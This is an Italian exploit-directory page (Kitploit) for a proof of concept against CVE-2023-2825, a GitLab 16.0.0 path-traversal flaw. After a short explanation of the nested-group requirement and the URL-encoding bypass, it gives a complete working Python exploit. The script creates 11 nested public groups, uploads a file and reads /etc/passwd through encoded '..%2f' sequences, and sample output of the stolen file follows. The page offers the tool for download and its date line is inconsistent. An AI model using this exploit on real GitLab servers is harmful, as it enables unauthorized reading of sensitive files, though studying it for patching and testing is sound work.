Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-2825-Gitlab — la prova di concetto scritta in Python per un utente malintenzionato non autenticato può sfruttare una vulnerabilità di path traversal per leggere file arbitrari sul server quando esiste un allegato in un progetto pubblico annidato all'interno di almeno cinque gruppi. Si tratta di un problema di gravità critica | Kitploit
Strumenti/GitHubGitHub/tornad0007/cve-2023-2825-gitlab
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration Testing
GitHubtornad0007/cve-2023-2825-gitlab

CVE-2023-2825-Gitlab

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

la prova di concetto scritta in Python per un utente malintenzionato non autenticato può sfruttare una vulnerabilità di path traversal per leggere file arbitrari sul server quando esiste un allegato in un progetto pubblico annidato all'interno di almeno cinque gruppi. Si tratta di un problema di gravità critica

13 anni faNon ancora revisionato
Condividi

CVE-2023-2825

Il 23 maggio 2023, GitLab ha rilasciato la versione 16.0.1 che ha corretto una vulnerabilità critica, CVE-2023-2825, che interessava la versione 16.0.0 della Community Edition (CE) e della Enterprise Edition (EE). La vulnerabilità consente a utenti non autenticati di leggere file arbitrari tramite un bug di path traversal. È stata scoperta da pwnie su HackerOne tramite il programma di bug bounty.

Al momento della stesura, non era disponibile alcuna proof of concept pubblica.

Avviso GitLab

Un utente malintenzionato non autenticato può utilizzare una vulnerabilità di path traversal per leggere file arbitrari sul server quando in un progetto pubblico, annidato in almeno cinque gruppi, è presente un allegato. Si tratta di un problema di gravità critica (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, 10.0).

Sottogruppi

Questa vulnerabilità ha un requisito interessante: il progetto deve essere annidato in almeno 5 gruppi. Nei nostri test, abbiamo trovato una correlazione diretta tra il numero di gruppi e le directory che è possibile attraversare. La regola sembra essere N + 1, ovvero se si desidera attraversare 10 directory, servono 11 gruppi.

In un'installazione GitLab standard, gli allegati vengono caricati in /var/opt/gitlab/gitlab-rails/uploads/@hashed/<a>/<b>/<secret>/<secret>/<file>. Quindi, per raggiungere la radice del filesystem, è necessario risalire di 10 directory e, di conseguenza, servono 11 gruppi.

Caricamento file e path traversal

Quando si carica un file come allegato in una issue GitLab, viene inviata una richiesta a POST - /:repo/upload. Questa restituisce una risposta JSON con l'URL del file, consentendo di accedere al file.

L'URL del file è composto da /:repo/uploads/:id/:file, dove :file è il nome del file stesso. Sostituendo :file con un qualsiasi percorso di file, GitLab restituirà il file richiesto. GitLab non riesce a sanitizzare questo percorso, portando a una path traversal.

Per sfruttare con successo questa vulnerabilità, è necessario codificare nell'URL il / nel percorso del file. GitLab lo leggerà come un valore e lo decodificherà internamente. La mancata codifica farà sì che GitLab interpreti il / nel percorso del file come parte della rotta.

Nei nostri test, codificare solo il / è stato sufficiente per bypassare gli errori di percorso di Nginx.

Autenticazione

Gli utenti non autenticati possono sfruttare questa vulnerabilità solo su repository pubblici che soddisfano i requisiti dei gruppi annidati. L'autenticazione è necessaria per accedere al repository stesso.

Proof of Concept

Ecco la proof of concept scritta in Python. Crea gli 11 gruppi, crea un repository pubblico, carica un file e poi sfrutta la vulnerabilità per ottenere il file /etc/passwd.

Output

root@kitploit:~
$ python3 poc.py
[*] Attempting to login...
[*] Login successful as user 'root'
[*] Creating 11 groups with prefix UJB
[*] Created group 'UJB-1'
[*] Created group 'UJB-2'
[*] Created group 'UJB-3'
[*] Created group 'UJB-4'
[*] Created group 'UJB-5'
[*] Created group 'UJB-6'
[*] Created group 'UJB-7'
[*] Created group 'UJB-8'
[*] Created group 'UJB-9'
[*] Created group 'UJB-10'
[*] Created group 'UJB-11'
[*] Created public repo 'UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825'
[*] Uploaded file '/uploads/74b16af4b9048e13c4311484bbfd3b76/file'
[*] Executing exploit, fetching file '/etc/passwd': GET - /UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825/uploads/74b16af4b9048e13c4311484bbfd3b76//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh

Codice

root@kitploit:~
import requests
import random
import string
from urllib.parse import urlparse
from bs4 import BeautifulSoup


ENDPOINT = "https://gitlab.example.com"
USERNAME = "root"
PASSWORD = "toor"

# Session for cookies
session = requests.Session()

# CSRF token
csrf_token = ""

# Ignore invalid SSL
requests.urllib3.disable_warnings()


def request(method, path, data=None, files=None, headers=None):
    global csrf_token

    if method == "POST" and isinstance(data, dict):
        data["authenticity_token"] = csrf_token

    response = session.request(
        method,
        f"{ENDPOINT}{path}",
        data=data,
        files=files,
        headers=headers,
        verify=False,
    )
    if response.status_code != 200:
        print(response.text)
        print(f"[*] Request failed: {method} - {path} => {response.status_code}")
        exit(1)

    if response.headers["content-type"].startswith("text/html"):
        csrf_token = BeautifulSoup(response.text, "html.parser").find(
            "meta", {"name": "csrf-token"}
        )["content"]

    return response


# Get initial CSRF token
request("GET", "")

# Login
print("[*] Attempting to login...")
request(
    "POST",
    "/users/sign_in",
    data={"user[login]": USERNAME, "user[password]": PASSWORD},
)

print(f"[*] Login successful as user '{USERNAME}'")


# Create groups
group_prefix = "".join(random.choices(string.ascii_uppercase + string.digits, k=3))
print(f"[*] Creating 11 groups with prefix {group_prefix}")

parent_id = ""
for i in range(1, 12):
    # Create group
    name = f"{group_prefix}-{i}"
    create_resp = request(
        "POST",
        "/groups",
        data={
            "group[parent_id]": parent_id,
            "group[name]": name,
            "group[path]": name,
            "group[visibility_level]": 20,
            "user[role]": "software_developer",
            "group[jobs_to_be_done]": "",
        },
    )

    # Get group id
    parent_id = BeautifulSoup(create_resp.text, "html.parser").find(
        "button", {"title": "Copy group ID"}
    )["data-clipboard-text"]

    print(f"[*] Created group '{name}'")

# Create project
project_resp = request(
    "POST",
    "/projects",
    data={
        "project[ci_cd_only]": "false",
        "project[name]": "CVE-2023-2825",
        "project[selected_namespace_id]": parent_id,
        "project[namespace_id]": parent_id,
        "project[path]": "CVE-2023-2825",
        "project[visibility_level]": 20,
        "project[initialize_with_readme": 1,
    },
)
repo_path = urlparse(project_resp.url).path
print(f"[*] Created public repo '{repo_path}'")

# Upload file
file_resp = request(
    "POST",
    f"/{repo_path}/uploads",
    files={"file": "hello world"},
    headers={"X-CSRF-Token": csrf_token},
)
file_url = file_resp.json()["link"]["url"]
print(f"[*] Uploaded file '{file_url}'")

# Get /etc/passwd
exploit_path = f"/{repo_path}{file_url.split('file')[0]}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
print(f"[*] Executing exploit, fetching file '/etc/passwd': GET - {exploit_path}")
exploit_resp = request("GET", exploit_path)
print(f"\n{exploit_resp.text}")

Azioni raccomandate

GitLab raccomanda di aggiornare tutte le versioni interessate da questo problema il prima possibile.

Riferimenti

https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/

Scarica lo strumento